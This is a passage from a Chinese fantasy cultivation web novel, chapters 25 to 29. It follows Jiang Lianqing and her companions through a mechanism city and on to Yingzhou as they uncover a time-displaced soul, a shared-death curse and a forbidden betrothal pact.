他当时提到姜涟清是怎么说的来着?
“我家小师妹特别厉害,是宗门唯一一个无情道修士!”
小夕闻言一笑:“不在云上洲,也和我一样修无情道?那天赋不一般了,我信这个厉害。”
吴云贺差点被脚下的石子绊一脚,手忙脚乱地在原地好一会,最终才没有跌倒在地。
“嘿嘿,要论修为天赋武力,我当是不及涟清的。”他说,“涟清这样的女子,该称一句天命之女。”
天命之女。
即墨逾心中默念。
那这位天命之女,一定不会注意不到他刻意摆出来术法秘籍。
即墨逾看着手中的花,无意识地笑出了声:“绛霜,同死共生,至此不渝,你觉得是什么法子?”
“不谈阿墨与极夜洲那样密切的联系,绛霜之意,当真浪漫。”
楚逢生没想到自己的猜测是对的。
可同死共生怎么解?说到底还是会死。灵魂衔接当由灵魂衔接代替,这个方向绝不是错。
绛霜此物带来的同死共生咒同样是出于灵的原因,在此等方面上,的确抵得了妄洲那四分之一的邪灵。
“可你要怎么让他活过来?同死共生同死共生,说到底不还是要死?”楚逢生问的毫不客气。
即墨逾眼皮都不抬一下:“楚医师,比起如何
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让他活过来,在下还是对你的存在更感兴趣。”
楚逢生一噎。
又来了,这种莫名其妙的,被窥视到不可见人秘密的窘迫感。
即墨逾不紧不慢道:“我不会让他死的,你们可以放心。”
姜涟清:“同死共生咒……真是想不到,即墨先生藏着可够深,即是偃师也是炼器师,现在还是灵修。天赋异禀。”
即墨逾摇头:“论天赋,我已见过上天所眷之人,万不敢当。”
谦虚完,即墨逾就不想再提,他走到章窈漪面前,声音都温柔不少,一股子哄小孩的味道:“好久不见,窈窈,你又是来做什么的?”
章窈漪:“……你好奇怪,不要再当我是小孩子了,我已经不是那个小孩儿了。”
即墨逾顺着她的话说:“嗯,窈窈不是小孩了。”
章窈漪:“……”
算了,反正这人都大她两百来岁了,甚至比她大师兄还大了快一百岁。
章窈漪想起此行目的,说:“我大师兄是不是来找你了?”
即墨逾一怔,随后了然,想来也是,章窈漪平白无故下云上洲,也只能是这么个目的。
“是。”
章窈漪:“他人呢?师尊叫我来找他回去。”
即墨逾:“他如果愿意回去,你找的一定很轻松。”
言下之意是,他不愿意回去,所以才不现身罢了。
“我想。”即墨逾推测一番,“他又要去盈洲了。”
章窈漪惊呼出声:“我家?!为什么?盈洲又出什么事了?”
她对大师兄的印象,就是哪里出事他就去哪里玩,在送她去云上洲后,他即刻就前往极夜洲,说要游山玩水。
极夜洲当时危在旦夕,哪里来的山水给他游玩!
见她浑然不知,即墨逾也不奇怪,只是叹了口气。
云上洲就是如此避世。
章窈漪心急:“你倒是说清楚啊喂!”
他转身回到书案落座:“若无其他事,几位可在机关城休整片刻再上路如需相助,尽管告知在下,在下尽力而为。”
姜涟清眨眨眼睛,思索片刻,轻咳两声:“不知机关城是否有灵气较为浓郁的地方?”
既然对方自己说了可以,那她也不搞那一套推辞。
即墨逾拿了书案上的魂玉,与绛霜放在一起:“可以找小北带你去。”
斟酌片刻,他抬眸:“此外,在下想请楚医师留下一会,交谈片刻。”
姜涟清下意识看向身边人,而楚逢生同样看向她。
“好啊。”楚逢生说。
他往姜涟清身边靠了一步,摸索着抓住她的手,在她手心写道。
感觉,他看出来了。
*
二人走后,楚逢生那点戒备之色完全不掩饰了。
楚逢生:“即墨先生还有何事,要留楚某一叙?”
即墨逾:“你不是楚予思。”
楚逢生心一咯噔,果然是看出来了,灵修就是恐怖。
对方继续说:“可,你的灵魂与这具身体,是相匹配的,也可以说,你就是楚予思。”
楚逢生皱眉:“什么意思?”
“你来自多少年以后呢?百年,还是千年?千年以内,不能再多了。”
“你怎么知道?!”
这下不是心里咯噔一下了,是整颗心都要撕裂胸膛跳出。
“虽然不知为何,但肯定和我脱不了干系。”即墨逾想起见到他时,他灵魂上那股熟悉的灵力,“你现在相当于,取代已死的,你的前世。”
此人的穿越之旅,是他所为无疑。
来世的自己到底做了些什么?居然要前世的自己善后。
算了,当务之急,是想想怎么让他回去。
即墨逾:“倘若你想回去,有个最简单的方法。”
“什么?”
“自尽,即可魂归故里。”
……
楚逢生沉默了好一会。
“不了吧。”他说,“我还是想,陪她走完这一路。”
26. chapter.26皆等
“姜姑娘,此处灵泉便是机关城灵气最浓郁的地方,不知是否冒犯,但在下斗胆一问。”
即墨北领着二人来到一处泉眼。四方钟灵毓秀,水色清澈,身后便是一处住宅,离城主府后院距离极近。
“敢问姜姑娘,是要突破了吗?”
姜涟清没想到他居然这样问,免不得好奇:“你怎知我要突破了?”
即墨北摸摸鼻尖:“我是城主大人培养的灵修,自是能看出一二。过不了多久,大概就要我来看着这机关城了。”
章窈漪一听,心中预感越来越不妙:“为什么?即墨逾才几岁,他有三百岁了吗,就说得他要离开似的?”
即墨北尬笑几声:“可是比起守城,城主大人还是比较喜欢游历四方吧,若不是老城主当时走火入魔不得不死……”
他的神情突然惆怅:“那他怎么会是城主呢,还是少爷才对。我家少爷当时出行收获匪浅,若非情况突然,此处城邦定是留不住他的。”
姜涟清从他的话中听出了端倪,隐约觉着,这即墨逾就要做出什么惊天骇俗之事了。
同死共生咒的事他没有隐瞒,那一个是与夏期绑定之人,另一个是谁呢?
姜涟清一时不知,到底该是什么人才会让这位即墨城主如此孤注一掷。
只是因为那人被夏期所困?
似乎不尽然。
即墨北似乎觉得自己透露了太多消息了,连忙转移话题,不想在此再纠结。
即墨北:“姜姑娘,在离开之前,你们可以一直在此处住下去,待到秋日也行。”
姜涟清捕捉到他话中关键。
秋日?
这又是什么说法?
“城主大人说,秋日的盈洲,是秘闻寄存之处,关于盈洲乱,亦关于您那位师兄。”
姜涟清垂下眼睑:“我知道了,代我谢谢你们城主。”
等即墨北走后,姜涟清和章窈漪面面相觑,从各种神情中探寻到同样的迟疑。
叮铃水声犹在耳畔,初夏的日光还不似三伏天那般炎热,温度恰好。
章窈漪率先开口:“秋天的盈洲确实,是个秘密很多的地方。”
她犹豫着,抬头对上那烟青色的美丽眼眸,又撇开头,一点也不敢看她。
“盈洲之乱,便在秋日开始。我不知道要如何讲述当时的场景……我当时。”章窈漪双手紧握,“我当时,太小了,很多很多事情都不知道。”
“一定是出事了……我大师兄就喜欢往出事的地方跑,现在肯定是出事了……”嘴上抱怨着即墨逾根本没把她大师兄当成挚友,可她自然知道,他们二人对对方到底是多深厚的情谊。
十年在修道者眼中并不久远,可一路同行十年,怎么都不可谓无情。
就像她和章流漪。
她们姐妹二人快十年未见了,分明是修道者,却觉着这时光好长。
“但是我姐姐肯定知道,我姐姐是盈洲绝音楼的当代楼主。”
姜涟清蹲下来,歪着脑袋与她平视,笑意淡淡:“我没有要逼问你的意思哦,窈窈。”
“盈洲到底出了什么事,秋许是还未寻到躯体,亦或是已经寄生于他人,我们都不知道。”
“不要担心嘛。”她伸手摸摸章窈漪的头顶,“你不知道的事情可多了,我们一点一点弄明白就好啦。”
“现在呢,你是想和我们一起去盈洲,还是说,要先行一步?”
章窈漪的目的便是寻她那大逆不道的大师兄,眼下有了线索,不和他们同行也是人之常情。
当然,姜涟清绝无非要携带她的意思。
实在是看这小姑娘道行还浅就出来闯世间,免不了心生关怀之意。
一切以章窈漪自己的想法为准。
章窈漪没有犹豫很久:“那,如果我说想要同行?”
章窈漪看得出来,姜涟清与楚逢生绝对是来头不浅的,一个临近化神,一个年纪轻轻的金丹期医修……
想想就知道到底是何种天赋。
现在她的目的已经不止是寻大师兄如此简单,还多了一个盈洲之秘。
盈洲毕竟是她的家,当时大师兄带她走时,给出的理由便是她根骨极佳,虽不通音律,但入无情道绝对大有所为。
她怀疑吗?其实是怀疑的。
谁人都说无情道者冷硬如冰,心里有一场不会融化的雪,掩盖了心绪,麻木了情感。
由此便可得到世上最公正的铁面判官。
可她偏偏不是这样的。
章窈漪觉得自己不是这样的。
以她当前迷茫之态,以及这筑基期修为,必然不可能得到她想要的答案。
她当前绝对做不到,她有自知之明。
所以,她想跟着姜涟清一起行动。说她慕强之心也不错,说她别有用心也不错。
跟着她,肯定能找到答案。
“那么,你可以去休息啦。”
姜涟清站起来,留给她一个窈窕倩影:“休息也好,修炼也好,等着也是等着。”
“对啦。”姜涟清眼见泉边有一块平滑的青石,“其实我和你,是同一种道哦?”
章窈漪一愣:“啊?”
姜涟清:“你们云上洲不都是无情道修者?那不就是和我一样。”
“无情无情,实则并非无情。”
“不过是……”
“心中的天衡不会倾斜。”
*
书房中,谈话仍然在继续,楚逢生从警惕到震惊,再到心起无数涟漪,眼下终于接受了眼前这人是个实打实的天赋怪物。
楚逢生:“天呐,即墨城主,冒昧问一句您今年芳龄几何?”
这种一下子把人灵魂看穿的实力太过恐怖,楚逢生靠在书柜上,忐忑着是多问几句还是立刻走人。
再不走,这即墨逾又能说出什么惊天动地的话,他怕自己又一次受到冲击。
“去三百尚欠十七。”即墨逾回答,眼中只有桌上的绛霜与魂玉。
“实在奇怪,分明你遭此罪约莫就是来世的我所致,可混杂的灵力又不只有我。”
他顿了一下,万般无奈:“这番冰凉的灵力,该是小夕才对。”
楚逢生一扭头:“小夕到底是谁啊?窈窈她大师兄?”
“是。”
“哎,那我有问题了。”
“请问。”
“你和她家大师兄就只是挚友吗?窈窈说的很夸张啊,她说她大师兄的唯一挚友就是你。”楚逢生再次想起云上洲那惨无人道之地,“云上洲修士多是无情道修,一直修道一直碎,说来还有点喜感……”
即墨逾:“……”
这并不是一件好笑的事,碎道重修的若是小夕那个境地,怕是疼痛非常。
而小夕又……
即墨逾:“他不太适合无情道。”
楚逢生:“你说谁?”
即墨逾:“小夕。”
“……”楚逢生一阵无语。让一个少言寡语的人喊得这样亲切
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,这个小夕也是个人物。
“所以,无情道修唯一的挚友?”
“是吧,也只能是这样。”
“无情道不就是要一个完全平等吗?”楚逢生眼下之意即,都用上唯一这般肯定的词,那他还能做得到吗?
“……所以我才说,他不适合无情道。”
他不适合无情道,他遵循的并非天地皆等,不过是随心而为罢了。
即墨逾从书案角落摸出三枚铜钱。
铜钱上的萱花栩栩如生。
楚逢生见到此物觉着分外熟悉:“这是不是用于占卜的铜钱?这上面雕的什么?”
“萱花。”
“……不会是我想的那个萱花吧?”
即墨逾莫名其妙地看他一眼,不知此话何意。
“如若你说的是浮洲萱花,那是。”
“哈!”楚逢生鼓掌几下,“这穿越一趟真是什么都见到了。”
“这又是何意?”
“没什么。”楚逢生摇摇头。
不过是千年后,浮洲萱花不复存在罢了。
在那条传闻里,野火焚了萱花,棠溪干涸,绝景更替。
*
楚逢生跟着指引来到清泉之前的住宅,一番探索,便看见章窈漪在院中练剑。
一招一式,精妙绝伦,看着像是孤霎剑法第二式。
见他来了,院中少女舞完最后一剑收起截昙剑,摸了一把额间汗。
黑亮的眼眸径直看着他。
楚逢生领会其意,问:“涟清呢?去闭关修炼啦?”
章窈漪点头:“你就要问这个吗?”
“当然不是。”他随意在台阶上坐下,“你练的的孤霎剑法吗?”
章窈漪一惊,想不到一个医修居然还懂这些。
“是啊,你怎么看出来的?”
楚逢生想到自己逃之不及的往事,没由来地笑了一声:“家里贵重收藏多,小时候喜欢乱翻。那些东西里就有孤霎剑谱。”
“说来……”他放轻声音,近乎喃喃,“就像一个预言……”
章窈漪看不懂他在想些什么,琢磨着今日必要将剑砍个万次,转过身去继续练剑了。
这些天要做的事情太过紧凑,突然放松下来,免不着思绪飘至千里。
他家在千年以后,是全大陆唯一开到妄洲的产业,说他一句楚少爷当真受得起。
法器收藏,古典秘籍,情报消息……这些都是将离阁的业务。将离阁,尘缘九洲最不缺钱的组织。
但楚逢生想逃离也是真的。
将离阁压根不适合落到他手里,但终有一天会落到他手里。
不适合的理由说来可笑,因为他不仅要修苍生道,还要当个手无缚鸡之力的医修。家族长辈说,一个柔弱医修,又太过仁慈,要如何护得这偌大家业?
并非他们刻板印象,是楚逢生的的确确没那个练武天赋罢了,怎么都不可能到紫极洲那位天骄的水准。
这些所谓为他好的言论他一刻都不想听,甚至很想就这样远走高飞,不再过问。
可惜,他就是跑到千里之外的初日洲也免不了这个“终有一天”,因那群长辈膝下儿女更是比不上他一根头发丝。
楚逢生并非无德无能。
只是不适合说的多了,他也觉得自己不适合了。
再等等吧。
等他陪姜涟清走完这一路。
走完这一路,再去完成这场出逃者并非真正逃出的戏剧。
27. chapter.27渡船
一说要待到秋日,时间一下就慢了下来。
楚逢生闲来无事就躲在屋子里鼓捣那个药匣子,一遍一遍地数草药,顺便借了点医书,想着趁这个机会好好钻研一番。
旅行途中事态紧急时可没有这种机会了。
他就这样待在屋里看了三个月医书,而章窈漪就这样练了三个月的剑。
唯一让他心生好奇之事,是这屋前那城主府后院,在刚留宿的七天内,出现了一股冰凉的灵力。
但这灵力很快散去,归于寂无。
楚逢生虽然觉着奇怪,但也没多嘴问一句即墨北。
原因无他,是这位城主手下第一人接连好几天都没有什么好脸色,谁要去触他霉头啊?
他算着时间,等着秋日到来。
*
泠泠水声悦耳动听,此地聚集天地灵气,实在是一处好地方。
三月之后,姜涟清终于闭关完毕,从此处清泉离开去往前院。
温和强大的灵力在她的灵脉里流淌,终于破了化神期,连气场都大不相同。
若说元婴就已经是超脱尘世,那化神便是临近仙人地境了。
还真是……诚不欺人。
姜涟清走到前院时,楚逢生正拿着一本典籍从屋里出来,伸了个懒腰。
甫一转头,见到三月未谋面之人,他愣了一下,很快调整好表情,露出一个清浅的笑来。
“恭喜。”
少年昳丽的面容在此刻莫名透着一股清爽干净,年少意气之感。
姜涟清想起,自己还未问过他来到楚予思的身体前,年龄几何。
“楚逢生,你是楚予思之前,几岁了?”
楚逢生没想到她居然问出这种问题,疑惑说:“呃,大概或许快一百岁了?我记得是还差两年就一百岁了,怎么了?”
姜涟清摇摇头:“没什么。”说着,她就要往屋内走:“窈窈人呢?收拾一下可以出发了。”
楚逢生:“她在里院练剑呢。”
他突然想起来,一月前即墨北遣人送来一封要给姜涟清的信件,一下子抓住了姜涟清的手腕。
“等等等等,我去和她说。”楚逢生见她回头便松了手,“我屋里有封信,即墨北说是从降星洲寄来的,你去看看。”
姜涟清心中纳闷,降星洲还会有人给她寄信?她私以为,自己在降星洲举目无亲,无人问津。
虽然这样觉得,但从降星洲来的信件,怎么也要瞧上一番。
姜涟清:“好吧,那你去和窈窈说一声,去盈洲直接坐云舟,不用路过浮洲了。”
“遵命~”楚逢生应了一声,拿着医书往里院去了。
见他走远,姜涟清也不在门口过多踟蹰,推开门去寻信件。
信件就摆在书案上,用砚台压着。
姜涟清移开砚台,拆了信封,来信人属实在她预料之内。
“见字如晤。
我与我师兄在您走后,将您所做之事尽数告知长辈,师尊怜惜,想要与您交谈,不过那时您已远去,便让我送封信来,问您是否愿意加入我们宗门。
我实在觉着师尊这想法不太妥当,毕竟您已是一门之主,即便还有其他事欲言也推推搡搡,直至两月前,沧洲危机解决,您的名字也传来了降星洲。
不愧是姜门主,天资聪颖,实力强劲,这番诡异的沧洲之难也能寻到解法。
于是我不再犹豫,提笔书信,若我迟您一步,那也只得叹一声不巧。
在您离开之后,我探过了您所说的,您二师兄吴云贺留下的刻痕,我在那地穴里另一条路里,发现了一个死去的白云村村民,见那黑色链条扎在他胸口,也不知是否该说是因果报应。
想来姜门主下一站必是盈洲,我便向大师兄问了些盈洲之事。想来他当时给您的印象是不太好的,但关于探寻消息,他是真有点门路。
盈洲不得轻易许约,更不得轻易许期,许期比普通许约更为危险,这便是大师兄的忠告。同时,盈洲之乱距今不过几年,是否还有邪祟残余无人知晓,要千万小心。
祝一路顺风。”
落款人,燕烟。
姜涟清无意识地笑出了声。
不得许期。
她还是太过相信楚逢生了,说什么不过口误,实际上就是知道许期比许约更加严重吧?!
姜涟清将信纸一收,甚至想了几十种逼楚逢生说真话的办法。
但最终只是叹了口气。
她还是觉得,他不愿意说肯定有他的理由,毕竟一个好端端的人,莫名其妙灵魂出窍,与一具尸体绑定。
无论遇上什么人,都不该把自己的身份托盘而出吧?
更何况他们也没认识多久。
想到这里,姜涟清突然觉得心绪复杂。
他们明明没认识多久,为什么想要陪她走这一路呢?
为什么呢,楚逢生?
*
云海之上,便是浮洲。
姜涟清站在船头,吹着徐徐海风。
云海比起沧澜海,看着倒是温和多了,不知是否是因为它处于浮洲下方,而浮洲素有江南意。
江南之意,水墨天成,雨雾如画。
淅沥沥的小雨说来就来,一点一滴落在海面,混杂在海浪里。
雨雾渐浓,姜涟清回到船内坐下,还不忘看着烟雨朦胧。
大概是第一次出远门,看什么都觉得稀奇。
楚逢生见她不止地望着窗外,走到她跟前坐下,递给她一株云蘅草。
姜涟清思绪回笼,疑惑:“嗯?你干嘛?”
楚逢生:“你拿着一会。云蘅草对梳理经脉也有用,你刚突破化神不是?百利而无一害嘛,等下船再还我。”
姜涟清点点头,表示接受了他的好意,继续看着窗外。
上一次见到下雨,还是她和楚逢生在晨雾苑里,他告诉他,是因为她想,所以她才去做了。
此话不假,无论如何,的的确确是因为她想。
更多的,是她不想他们就这样无声息地死去,同样也不想有更多人死去。
所以她着急。
她急着南下,即便早已有人指出她当时的实力不足以抗衡妄洲邪祟。
倏然停下三个月,再见来时,又觉着当时状态太过紧绷,一切都窒息。
姜涟清手上的云蘅在她葱指间捏着。她缓缓将目光转移到身前人上:“你来到这里只有九十八岁吗?那你之前的修为是什么境界的?”
虽然她说着不想过多探究楚逢生之前的事,但真的完全不知道,她也不乐意。
楚逢生一挑眉:“怎么突然想到问这个?”
姜涟清:“就是问问而已,如果一路都不说话的话,那这段行程也过于无趣了。”
“嗷,这样啊。”楚逢生提起桌上茶壶,为自己斟茶,“也是金丹啊,这
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一点真没骗你,我是楚予思前就是金丹。”
姜涟清:“那似乎也算得天赋异禀了?不是说医修修炼向来比其他人慢一些。”
楚逢生才把茶盏怼到嘴边,又放下了:“慢倒是真的,但我要是平常成那样,就真该死了。”
“话说,涟清姐姐~那您今年芳龄几许呀?”他将话题一转。
意识到对方不想过多在此话题上停留,姜涟清也没有硬要继续的意思。
于是她便顺着他的话下去:“二百一十六,确实该叫一声姐姐。”
“哈哈哈。”楚逢生抿了一口茶,“哎呀,说到这浮洲,我真的没想到。”
“没想到什么?”
章窈漪照例抱着她的截昙剑,听到浮洲二字停下擦拭剑身,抬起了头。
楚逢生:“萱花呗,听闻浮洲萱花虽不暗指浮洲法则,但棠溪萱花是难得的绝景,若不是不上浮洲,我还真想看看。”
“萱花?”章窈漪细细回想了一番,“我大师兄之前随身带着的就是萱花,棠溪萱花确实很美。”
“哦?”姜涟清一手支着下巴,别过头来,“窈窈见过吗?”
“见过啊。”章窈漪目光又回到截昙,继续擦拭,“大师兄当时说什么都要回浮洲摘几枝花,即墨逾就随他去了,结果这样和七宿门约好的时间还分毫不差!”
“好精准的时间管理。”
楚逢生不由奇怪:“你大师兄叫小夕的话,是哪一个夕?”
还真是吊足了胃口,无论是章窈漪也好,即墨逾也好,甚至是阿墨,都完美避开了这人的大名。
不约而同的有些奇怪了。
章窈漪:“夕暮的夕吧?但是我大师兄的名字不是夕,不然那读起来也太奇怪了。”
“夕暮啊……”姜涟清觉着这名字的意欲不太好,“如果就是这个意思的话,意思不太好呢。”
夕暮夕暮,太阳落时,月将升时,便是夕暮,一天之中最后的时刻。
章窈漪一怔,面色古怪一瞬,含糊道:“是夕暮没错,但前面还有个字,这两个字结合就是大师兄的字了。”
“我师尊经常这样叫他,然后骂他大逆不道。”
姜涟清:“哪里大逆不道了?”
章窈漪一言难尽,答:“云上洲不是不许有人擅自离开嘛?但是我大师兄非但出来了,还要插手尘事,师尊觉得,这样下去,他无情道迟早要碎。”
姜涟清:“……”这担心倒也不无道理。
楚逢生:“……”这担心似乎挺对的,就连他挚友都说,他不适合无情道。
姜涟清回忆了一下,想起章窈漪说,是她大师兄将她从盈洲带去云上洲的。
“窈窈,你大师兄,也参与过盈洲之乱吗?”
章窈漪点头,有点不明白她的意思。
姜涟清伸手从楚逢生手边抢过茶壶,又取了茶盏。
醇厚的茶香四溢,薄雾轻起。
“没什么,就是没听到过任何人说起他的名字,觉得很惊讶罢了。”
“毕竟即墨逾的名字已经天下皆知了。”
“嗷这个……”章窈漪懂了,“大师兄确实是,不喜欢太张扬。”
“但当时,他应该是出力了?按师尊的说法,他的天赋该是当今第一才对。”
姜涟清甚至有点想笑了。
真是太有意思了。
一个名字被理所当然藏起的人。
28. chapter.28盈洲
云舟靠岸,晴空无云。
烟雨之色已经停了许久。
下了云舟便到了盈洲落金港口。
落金一名大有来头,盈洲出去直下三千尺之瀑布,最有名的便是银杏了。待到秋日,金叶满地,铺成一片黄金地。
盈洲人称之为落金。
而姜涟清三人下船的地方便是落金,只不过依章窈漪所说,绝音楼所在之地乃是盈洲锦年,芳华之地。
山高水长,走过港口往路上去时,遥望山间便可见银白流水从云霄倾泻而下。
这会的银杏还未变成金色,青绿混着杏黄,在树杈上接连排序。
“浮洲素有江南意,盈洲恰有秋日情。”楚逢生咂咂嘴,感慨道。
“这盈洲一看人灵地杰的,你不说我不说,谁知道这样一个地方藏了个邪祟呢?”
姜涟清瞥他一眼,不置可否:“你注意点,最不容易许约的方法还是少说话,心里想想肯定没问题,不要说出来。”
楚逢生:“我知道啊,我会注意的,这不是路还长,若是一路上不发一言,定然是要憋坏的,对吧,窈窈?”
章窈漪转了圈眼珠子:“落金离锦年没有很远好吗?我们快一点,最多暮时肯定能到的。”
姜涟清:“窈窈,锦年是个什么地方?看书上所说,芳华之地?”
“我不太记得。”章窈漪离开时年纪太小,记忆里的家已然模糊,唯有阿姊的脸那样清晰。
她轻轻拨弄双生昙花剑穗,心中一暖。
她与阿姊不见快十年了,阿姊当时便是绝音楼天之骄女,现如今更是极为绝音楼楼主,该是何等风采?
阿姊那般大家闺秀,也不知会不会因为性子太柔婉而受制。
“说来也是,你那个时候毕竟还小。”姜涟清说。接着,她又想到当初盈洲之乱的消息了。
最先知道这件事,其实是出于春望之口。
虽说春望所言不得全信,可……
姜涟清眸色一暗。
可他说,当时吴云贺跪下求他救救那些无辜之人。且不说是否真的跪过,那当时究竟是何种险境呢?
盈洲不得许约,最不得许期。然后呢?然后还有什么?
章窈漪认得夏期的气息,却只说那是春望。那便能证明,当时只有春望暴露了自己的名字,背负了骂名。
但当时解决的邪祟并不是春望。
谜团还真是越来越多。真正踏入盈洲,姜涟清才想起来,自己对盈洲之乱分毫未知。
章窈漪定然是经历过的,但小孩子的记忆未必记得太久远之事。
至于楚逢生……
她不动声色抬头,看着那张完美的侧脸。
这人绝对不像表面上那样一问三不知,可要怎么让他说真话呢?她并不想逼他。
楚逢生一定知道很重要的事。
注意到身边少女投来的意味不明的目光,楚逢生顿觉莫名,不自在地挠了挠头。
“你干什么看我?我脸上沾东西了?不会吧?”
姜涟清:“……”
姜涟清:“你对盈洲有了解吗?”
楚逢生眨眨眼,生怕她看出来什么:“我对盈洲能有什么了解?”
姜涟清:“你不是说你是初日洲来的吗?初日洲到降星洲不经过盈洲嘛?”
楚逢生一听,心苦难耐:“涟清姐姐,那个是我吗?去降星洲的是我吗?我家在紫极洲,我跑去初日洲当医修了而已。我根本就没走过其他洲。”
“哦。也对。”姜涟清转过头去,有些尴尬。
是她先入为主了。
去降星洲的明明是楚予思,可谁让她先认识的是楚逢生?这也是没办法的事,她都要忘了楚予思不是楚逢生了。
说来也奇怪。
就和章窈漪的大师兄怎么称呼都不会暴露其名一样,楚逢生也是一直被喊楚医师。
这样一来,便直接将二人混淆了。
姜涟清有点不高兴了,却也说不出来为什么不高兴。
明明这样是对的。
“那你当时怎么知道盈洲不得许期的?你真的是口误了吗?”
楚逢生一手捂脸:“你记性也太好了吧!真的是口误啊。我发誓我要是……唔,唔!”
姜涟清眼疾手快,直接跳起来捂住了他的嘴:“谁让你发誓了?闭嘴!”
章窈漪幽幽说:“前不久才说过盈洲不得许约,你还一口一个发誓,嫌自己命太长吗?”
楚逢生闻到了一阵清香,是姜涟清身上的味道。就在她指尖。
于是他一下都没挣扎,支支吾吾了几声便安静了。
姜涟清收手,狠狠剜了他一眼,烟青色的眼,眼波流转间星眸带刺,诉他口无遮拦,叫人担心。
楚逢生感觉自己疯了。
明明在凶他呢,他居然觉得怎么这么可爱。
“我收回,这不是急于证明自己,就一下了忘记了吗哈哈哈……”
“要警记于心啊。”姜涟清双手抱胸。
*
正如章窈漪所言,暮色时分便到了盈洲锦年。
他们进的第一座城,是昙城。
眼下已是初秋,恰巧赶得上最后一茬昙花。
已是暮时,入街后自然见不到什么往来之人。倒是那大红灯笼高高挂起,点着明火,幽红光芒散发。
于明月之下,倒显得诡异。
不过这里的月亮并不与出入极夜洲时,那令人胆寒的苍凉之月相似,相反,它撒下的月辉是温和的。
倒应了那词,温润如月。
“怪了。”章窈漪站在一盏红灯笼下,红色的光笼罩了她全身,“谁要成亲了吗?怎么全都是红灯笼?”
姜涟清:“这是何意?”
章窈漪:“盈洲习俗,若是哪个名声大噪人家的子弟要成亲了,便会装扮一整座城,街上挂红灯笼,各家各户添红绸。”
章窈漪一低头,清秀的眉毛一皱。
可昙城最著名的家族,不就是她家吗?那是谁要成亲?是娶是嫁?是旁支还是本家?
她太久没有回来了,对家里人的情况一概不知。
最重要的是,这是一种许期。
两家结了婚契,订了婚期,怎么可能不算许期?
心跳一时急促,可她实际上是不知道为何不可许期的,没有任何防范手段。
对了。
很多人都不知道为何不可许约,因为一传十,十传百,后果在传递过程中被简化了。
“那个,涟清姐姐。”章窈漪一点一点移到姜涟清身前,轻轻拉了拉她的衣袖。
姜涟清:“怎么了?”
章窈漪眼神复杂,鼓足勇气开口:“要去我家留宿吗?”
楚逢生伸手拨了一下灯笼,见明火在笼中摇曳。
楚逢生:“你家在这?”
“对啊,我家就在昙城,怎么了?我好久没有回来过了。”章窈漪睫毛轻颤,“我的剑穗不就是昙花吗?是我阿姊送给我的,在我临走时给的。”
“好呀。”姜涟清揉揉她的脑袋。
虽然不知道这小姑娘什么算盘,但在
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哪里留宿不是留宿?都不要紧。
她这样说,想来是注意到了什么不寻常之事,可又不好意思直接说。既如此,就是遂了她的愿也未尝不可。
“你家在哪里呢?劳烦窈窈带路了。”
“这条街过去,有一条河,过了那座桥,就是我家了。”章窈漪指指尽头漆黑一片的街道,“我没有记错的话就是这样。”
“我当时特别喜欢乱跑,如果我不乱跑的话,肯定就遇不上大师兄了。”
姜涟清:“为什么?”
章窈漪的眼睛黑亮黑亮:“因为大师兄就是在邪祟手中救下的我。”
姜涟清没由来地转头去看楚逢生,从对方眼中捕捉到了一样难以言说的情绪。还真是……
无论如何,这个大师兄若真如即墨逾所说会前来盈洲,那肯定是要见上一见的,绝对要问个明白。
盈洲之乱有太多谜团了,而她并非局中人。
二人跟着章窈漪一路走到了尽头,在桥边见到了几株未开的洁白昙花。
恰逢花开时,月色如素,昙花于月下盛开,纯色的花瓣无任何瑕疵,仿若世间珍品。
姜涟清只看了一眼,就踏上了红桥。
章府的的确确就在这红桥后,所挂的灯笼,看起来比街上的华贵不少,火光都比街上更加明亮。
午夜时分,万籁归寂。
章窈漪敲响了刷了红漆的大门,立刻有小厮拉开门,肃声道:“谁啊?大半夜的来敲门。”说着便打了个哈欠。
章窈漪也知现在时候太晚了,这些夜间守门人本就劳累:“抱歉,能通报一声吗?我是章窈漪。”
小厮一时没有反应过来:“什么章窈漪不窈……不对,这名字……”
他愣神好一会。
“小小姐?”
章窈漪:“嗯,是我。”
小厮一时激动起来:“小、小小姐,您怎么回来了?”
章窈漪:“我与我的朋友有事要找阿姊,可天色已晚,恰好到了昙城,便回家看看。”
“我知道了小小姐。”小厮拉开大门,胳膊肘挤了一下身边打瞌睡的同伴。
同伴霎时惊醒:“怎么了?什么事!”
小厮:“快去通报一声,小小姐回来了!”
“啊啊?什么?”
“少说废话!”小厮狠狠拍了一下同伴的肩,“快去说!”
“哎呦我去就是了!”同伴吃痛,清醒了不少,“等等,小小姐?!”他的声音都变调了。
“我现在就去!”
*
弦音婉转,如流水长歌。
玉色琵琶拨动琴弦。
皓腕挽上女人肩头,在她耳畔吹了口气,琴音停止,只留水声潺潺。
藕紫罗裙在帷幕之后绽成一朵紫花,少女挤进女人怀里,声音柔柔:“流儿真的要与他成亲吗?那个男人有什么好的。”
女人推开红裙少女,提着琵琶撩开帷幕出去,清丽的面容沉着冷静,没有分给她一丝眼神。
少女一下子跪倒在地,楚楚可人地看着帷幕后她的背影。
“小流儿,你们可是许期了哦。”
女人的脚步未曾停止。
“你们可是,许期了哦~”
女人将琵琶放回架上,绛红色的衣袖落到琵琶上,细细抚摸,没有回头的意思。
少女见她无动于衷,便只能从地上爬起来,撩开帷幕,再度来到她身后。
还未等她再抱上,女人终于开口。
那声音轻灵。
“秋许。”
29. chapter.29独倚
午夜昙花绽开,转瞬即逝。
严格来说,章窈漪和章流漪并非姐妹。章流漪修道太久,家中亲眷早已换了一批人。
而章窈漪则是这一代人中少见的,适合修道之人。
她原先打算将人领进绝音楼,但奈何她这位该说是曾侄女的妹妹不懂音律。可这样的天赋就浪费了?那也太痛心了。
若没有云上洲那位前来,章窈漪大概率也会送去尘缘九洲其他地方修道。
离家未有十余载,可家中父母两鬓却有霜白。章窈漪这才觉得时光之快。
对修士来说不过弹指一瞬,却让她爹娘生了白发。
一直到早时出门,她都是那副闷闷不乐的样子。
姜涟清眼见着这小姑娘小小年纪就一副苦大仇深的模样,不免叹息。
她摸摸她的脑袋,轻声道:“还能见到,其实就已经很好很好了,修道者与尘世脱节已不是一时半晌。”
楚逢生说话则直接多了:“了却红尘羁绊大多数指的就是修道者与普通人,像修道世家就没有这种烦恼。既然选了这条路就该接受这个事实,不要太难过了。”
姜涟清:“……”
姜涟清一巴掌扇到他头上。
“说话注意点!怎么说话的?本来就是小孩子要人家怎么样?”
楚逢生一下子弹开,捂着脑袋:“我就是说点事实而已,这种情况太多了,不少的。总有人想寻药让家眷一同长生,不顾事态伦理发展。”
“但大多最后都只能被迫看着他们离世,因为命该如此。结局早已预见,那就早点接受。”
